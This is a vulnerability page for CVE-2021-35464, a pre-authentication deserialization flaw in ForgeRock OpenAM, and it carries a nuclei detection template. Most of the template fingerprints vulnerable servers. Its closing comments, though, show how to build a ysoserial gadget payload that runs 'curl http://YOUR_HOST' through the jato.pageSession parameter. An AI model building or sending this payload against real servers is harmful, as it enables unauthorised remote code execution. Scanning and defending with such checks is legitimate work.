Browse / CVEs / CVE-2021-35464
CVE-2021-35464· forgerock / am· CWE-502
ForgeRock OpenAM <7.0 - Remote Code Execution
Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.
ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages. The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted /ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO) found in versions of Java 8 or earlier.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
Fix
Upgrade ForgeRock OpenAM to version 7.0 or later to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/openam/oauth2/..;/ccversion/Version
Positive when: contains in header "Set-Cookie: JSESSIONID=" AND contains "Version Information -" or "openam/ccversion/Masthead.jsp" AND status 200Run it with nuclei: nuclei -id CVE-2021-35464 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-35464
info:
name: ForgeRock OpenAM <7.0 - Remote Code Execution
author: madrobot
severity: critical
description: |
ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages.
The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted
/ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO)
found in versions of Java 8 or earlier.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Upgrade ForgeRock OpenAM to version 7.0 or later to mitigate this vulnerability.
reference:
- https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35464
- http://packetstormsecurity.com/files/163486/ForgeRock-OpenAM-Jato-Java-Deserialization.html
- http://packetstormsecurity.com/files/163525/ForgeRock-Access-Manager-OpenAM-14.6.3-Remote-Code-Execution.html
- https://bugster.forgerock.org
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-35464
cwe-id: CWE-502
epss-score: 0.99999
epss-percentile: 0.99996
cpe: cpe:2.3:a:forgerock:am:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: forgerock
product: am
shodan-query:
- http.title:"OpenAM"
- http.title:"openam"
fofa-query: title="openam"
google-query: intitle:"openam"
tags: cve,cve2021,packetstorm,openam,rce,java,kev,forgerock,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'
matchers-condition: and
matchers:
- type: word
part: header
words:
- "Set-Cookie: JSESSIONID="
- type: word
part: body
words:
- "Version Information -"
- "openam/ccversion/Masthead.jsp"
condition: or
- type: status
status:
- 200
# {{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>
# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='References
- https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35464
- http://packetstormsecurity.com/files/163486/ForgeRock-OpenAM-Jato-Java-Deserialization.html
- http://packetstormsecurity.com/files/163525/ForgeRock-Access-Manager-OpenAM-14.6.3-Remote-Code-Execution.html
- https://bugster.forgerock.org
Use this check only on systems you are authorised to test. Where the data comes from